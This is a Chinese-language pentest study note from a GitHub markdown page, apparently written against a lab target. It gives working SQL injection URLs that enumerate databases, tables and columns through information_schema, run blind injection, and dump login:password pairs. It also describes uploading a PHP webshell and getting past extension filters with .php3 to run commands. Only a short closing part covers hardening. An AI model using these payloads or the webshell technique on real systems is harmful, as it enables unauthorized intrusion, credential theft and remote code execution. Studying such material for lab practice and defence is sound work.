Skip to content

Latest commit

 

History

History
91 lines (80 loc) · 5.26 KB

pentester.md

File metadata and controls

91 lines (80 loc) · 5.26 KB

#Pentester ##一、sql injection ###基本思路:

    1. 判断是否有注入
    1. 判断当前库名,表名,字段名
    1. 获取数据
    1. 考虑无回显处理
    1. 看是否可以获取shell

###sql基本用法

  • 1.select id,num from test union select 1,2 一般会逐个替换1,2换成想要显示的信息,需要确定哪个位置可以正确显示,当只有一个位置可以显示的时候,可以使用concat,这里可以判断查询使用了几个字段,如果该语句正常则表示使用了2个字段。如果union用不了可以使用order by 判断。 例子: order by 1 正确,order by 3 错误则表示查询使用了2个字段 例如:select ip from temp union select concat(@@version,':',database()); 例2:select concat('my','s','ql','+',@@version); 结果:mysql+5.6.28 例3:select num,ip from temp union select 1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; num为数字型,ip为字符型,information表里面的信息都是字符型,所有要放在2这个位置,放在1的位置会报错(类型不匹配) 注意:union后面跟的列的个数必须和前面select 的个数一致,union select 后面的数字可以接任意想获取的信息(version(),current_user(),@@version,database()等) concat()函数用于连接一行中的字段,显示效果还是会有多行,而 group_concat用于把所有字段的内容都显示成一个大字符串。 mysql> select concat(id,name) from table1; +-----------------+ | concat(id,name) | +-----------------+ | 1luyg | | 2lucy | +-----------------+

mysql> select group_concat(id,name) from table1; +-----------------------+ | group_concat(id,name) | +-----------------------+ | 1luyg,2lucy | +-----------------------+

  • 2.select id,num from test order by 2 根据num进行排序 select * from test order by 4 根据第四列进行排序,通过这个语句可以判断数据表中有多少列
    1. select substr(table_name,17,1) from information_schema.tables limit 1; substr用于字符串截取,17代表取出第17个字符,后面的1代表取1个,如果是2代表从17的位置开始取出2个字符, limit 1代表取出1条记录
  • 实战:
  1. 判断注入: http://172.16.45.128/cat.php?id=1 and true 返回正确结果 http://172.16.45.128/cat.php?id=1 and false 返回错误结果 该url存在注入

  2. 判断查询的字段个数: http://172.16.45.128/cat.php?id=1 union select 1,2,3,4 返回正确结果 3.判断数据库版本和库名 http://172.16.45.128/cat.php?id=1 union select 1,@@version,3,4 这里把最后的2变成了@@verison 实际的sql语句变成了 select @@version , 放在2这个位置是因为在页面上有显示内容,可以直接把查询后的信息在页面上展示了,这个可以根据实际情况进行适当处理,2这个位置可以换成database()来获取库名字,user()获取数据库用户名

  3. 判断表名 使用union方式: http://172.16.45.128/cat.php?id=1 union select 1,(select GROUP_CONCAT(table_name) FROM information_schema.tables),3,4 image 上述方法会查找所有表名,如果只想查找指定数据库的表,使用table_schema作为条件判断 select id,name,sex from table1 union select 1,(select GROUP_CONCAT(table_name) FROM information_schema.tables where table_schema = 'photoblog'),3; 使用盲注方式: http://172.16.45.128/cat.php?id=1 and (SELECT SUBSTR(table_name,1,1) FROM information_schema.tables limit 1 ) > 'A' 如果返回正常代表表名的第一个字符是>'A'的 select * from users where id = 1 and ((SELECT SUBSTR(table_name,1,1) FROM information_schema.tables limit 1 )> 'A'); http://172.16.45.128/cat.php?id=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'users'),1,1

  4. 获取字段 select column_name from information_schema.columns where table_name = 'users'

  5. 获取数据 http://172.16.45.128/cat.php?id=1 union select 1,(select concat(login,':',password) from users),1,1

  6. get shell ,针对php shell

将上出代码保存为webshell.php即可上传到目的站点 skill:当应用过滤了.php的时候可以考虑使用php3扩展名或者.php.test(apache还会继续使用.php作为该文件的扩展,其余没有测试过) 假设已经将webshell.php3上传到了目的站点,路径为:http://vulnerable/admin/uploads/webshell.php3,该shell是用来执行命令的,在后面加上?cmd='linux命令' http://vulnerable/admin/uploads/webshell.php3?cmd=unamehttp://vulnerable/admin/uploads/webshell.php3?cmd=ls 都能获取到执行结果 image

实战II

针对以上存在漏洞的站点进行部分安全防护措施,具体如下 php配置文件启用 magic_quotes_gpc 禁用 display_errors

  1. telnet获取网站head 信息 image 参考:http://blog.csdn.net/zbzheng/article/details/3765033